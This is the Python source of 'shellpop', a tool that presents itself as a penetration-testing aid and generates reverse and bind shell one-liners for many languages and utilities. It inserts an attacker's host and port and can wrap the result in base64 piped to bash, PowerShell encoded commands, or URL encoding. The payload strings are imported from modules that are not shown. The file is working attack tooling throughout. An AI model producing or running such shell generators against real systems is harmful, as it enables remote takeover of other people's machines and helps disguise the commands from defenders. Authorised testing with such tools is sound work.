shellpop

#!/usr/bin/env python
# ShellPop is program to aid penetration testers
# generating quick and dirty reverse/bind shell 
# code to get on with the pentests.
# ==========
# Written by zc00l in 2018-03-7

import urllib
from bind import *
from reverse import *
from sys import exit
from argparse import ArgumentParser
from sys import stderr

write=stderr.write
flush=stderr.flush
version = 0.3 # updated 26/04/2018

def info(msg):
    return "[\033[094m+\033[0m] {0}".format(msg)

def error(msg):
    return "[\033[091m!\033[0m] {0}".format(msg)


AVAILABLE_SHELLS = [
        
        # Bind shell list
        {
            1:("Python TCP", BIND_PYTHON_TCP),
            2:("Python UDP", BIND_PYTHON_UDP),
            3:("Perl TCP", BIND_PERL_TCP),
            4:("Perl UDP", BIND_PERL_UDP),
            5:("PHP TCP", BIND_PHP_TCP),
            6:("PHP UDP", BIND_PHP_UDP),
            7:("Ruby TCP", BIND_RUBY_TCP),
            8:("Ruby UDP", BIND_RUBY_UDP),
            9:("Netcat (OpenBSD) TCP", BIND_NETCAT_TCP),
            10:("Netcat+coproc (OpenBSD) UDP", BIND_NETCAT_OPENBSD_UDP),
            11:("Netcat (Traditional) TCP", BIND_NETCAT_TRADITIONAL_TCP),
            12:("Powershell TCP", BIND_POWERSHELL_TCP),
            },

        # Reverse shell list
        {
            1: ("Python TCP", REV_PYTHON_TCP),
            2: ("Python UDP", REV_PYTHON_UDP),
            3: ("PHP TCP", REV_PHP_TCP),
            4: ("Ruby TCP", REV_RUBY_TCP),
            5: ("Perl TCP 01", REV_PERL_TCP),
            6: ("Perl TCP 02", REV_PERL_TCP_2),
            7: ("Perl UDP [nc -lkvup PORT]", REV_PERL_UDP),
            8: ("Bash TCP", BASH_TCP),
            9: ("Powershell TCP", REV_POWERSHELL_TCP),
            10: ("TCLsh TCP", REVERSE_TCLSH),
            11: ("Ncat TCP", REVERSE_NCAT),
            12: ("Netcat (Traditional) UDP", REVERSE_NC_UDP_1),
            13: ("Netcat (Traditional) TCP", REVERSE_NC_TRADITIONAL_1),
            14: ("Netcat (OpenBSD) mkfifo TCP", REVERSE_MKFIFO_NC),
            15: ("Netcat (OpenBSD) mknod TCP", REVERSE_MKNOD_NC),
            16: ("Telnet mkfifo TCP", REVERSE_MKFIFO_TELNET),
            17: ("Telnet mknod TCP", REVERSE_MKNOD_TELNET),
            18: ("socat TCP", REVERSE_SOCAT),
            19: ("awk TCP", REVERSE_AWK),
            }
        ]

bind_shells = AVAILABLE_SHELLS[0]
reverse_shells = AVAILABLE_SHELLS[1]
    

class ReverseShell(object):
    def __init__(self, name, host, port, code):
        self.name = name
        self.host = host
        self.port = port
        self.code = code

    def get(self):
        return str(self.code.replace("TARGET", self.host)).replace("PORT", str(self.port))

class BindShell(object):
    def __init__(self, name, port, code):
        self.name = name
        self.port = port
        self.code = code

    def get(self):
        return self.code.replace("PORT", str(self.port))

def proto_colorize(shell_name):
    """
    This code is responsible to colorize
    the protocol of bind/reverse shells name.
    """
    proto_avail = [
            ("UDP", "94"), 
            ("TCP", "93")] # available protocols to colorize.
    for proto in proto_avail:
        if proto[0] in shell_name:
            shell_name = shell_name.replace(proto[0], "\033[{0}m{1}\033[0m".format(proto[1], proto[0]))
    return shell_name

def list_shells():
    bind_shells = AVAILABLE_SHELLS[0]
    reverse_shells = AVAILABLE_SHELLS[1]
    
    write(info("\033[1mBind shells\033[0m:\n\n"))
    for i in range(1, len(bind_shells)+1):
        obj = bind_shells[i]
        print("{0}. {1}".format(str(i).rjust(3), proto_colorize(obj[0])))
    
    write("\n\n")
    write(info("\033[1mReverse shells\033[0m:\n\n"))
    for i in range(1, len(reverse_shells)+1):
        obj = reverse_shells[i]
        print("{0}. {1}".format(str(i).rjust(3), proto_colorize(obj[0])))

    return 0


def header():
    return "\033[093mshellpop\033[0m v{0}\n\n".format(version)


def powershell_base64(data):
    """
    Encode something compatible for Powershell base64-encoding
    @zc00l
    """
    out = ""
    for char in data:
        out += char + "\x00"
    return out.encode("base64").replace("\n", "")

def select_shell(args, shell_type, shell_index):
    if shell_type == "reverse":
        for shell in reverse_shells:
            obj = reverse_shells[shell]
            if shell == shell_index:
                code = obj[1]
                name = obj[0]
                rev = ReverseShell(name, args.host, args.port, code)
                generated = rev.get()
                
                if args.base64 is True:
                    if "powershell" not in name.lower():
                        generated = "echo " + generated.encode("base64").replace("\n", "") + "|base64 -d|bash"
                    else:
                        # Powershell encoding code
                        prefix, code = generated.split("-Command")
                        pcode = code.replace("'", "") # Remove single quotes from -Command
                        pcode = pcode.replace("\\", "") # remove string quotation
                        generated = prefix + "-Encoded " + powershell_base64(pcode)

                if args.urlencode is True:
                    generated = urllib.quote(generated)
                return generated

    elif shell_type == "bind":
        for shell in bind_shells:
            obj = bind_shells[shell]
            if shell == shell_index:
                code = obj[1]
                name = obj[0]
                bind = BindShell(name, args.port, code)
                generated = bind.get()

                if args.base64 is True:
                    if "powershell" not in name.lower():
                        generated = "echo " + generated.encode("base64").replace("\n", "") + "|base64 -d|bash"
                    else:
                        # Powershell encoding code
                        prefix, code = generated.split("-Command")
                        pcode = code.replace("'", "") # Remove single quotes from -Command
                        pcode = pcode.replace("\\", "") # remove string quotation
                        generated = prefix + "-Encoded " + powershell_base64(pcode)


                if args.urlencode is True:
                    generated = urllib.quote(generated)
                return generated


def main():
    parser = ArgumentParser()
    parser.add_argument("--list", help="List of available shells", action="store_true")
    parser.add_argument("--base64", action="store_true", required=False, help="Encode command in base64.")
    parser.add_argument("--urlencode", action="store_true", required=False, help="Encode the command in URL encoding.")
    parser.add_argument("--host", type=str, help="IP to be used in connectback (reverse) shells.")
    parser.add_argument("--port", type=int, help="Port to be used in reverse/bind shell code.")
    parser.add_argument("--number", type=int, help="Shell code index number", required=False)
    parser.add_argument("--reverse", action="store_true")
    parser.add_argument("--bind", action="store_true")

    args = parser.parse_args()
    if args.list == True:
        write(header())
        list_shells()
        exit(0)

    if type(args.number) is not int:
        write(header())
        print(error("Error: You need to select a shell using --number. To list shells, use: --list"))
        exit(1)

    if args.reverse is True and args.bind is True:
        write(header())
        print(error("Error: You must select --reverse or --bind"))
        exit(1)

    if args.reverse is not True and args.bind is not True:
        write(header())
        print(error("Error: You can't select both --reverse and --bind options."))
        exit(1)

    if args.reverse is True:
        if args.host is None:
            print(error("Error: You need to set the listener IP address with --host"))
            exit(1)
        if args.port is None:
            print(error("Error: You need to set the listener port number with --port"))
            exit(1)
        print(select_shell(args, "reverse", args.number))
    else:
        if args.port is None:
            print(error("Error: You need to set the remote port number to listen with --port"))
            exit(1)
        print(select_shell(args, "bind", args.number))

    return 0x0

if __name__ == "__main__":
    main()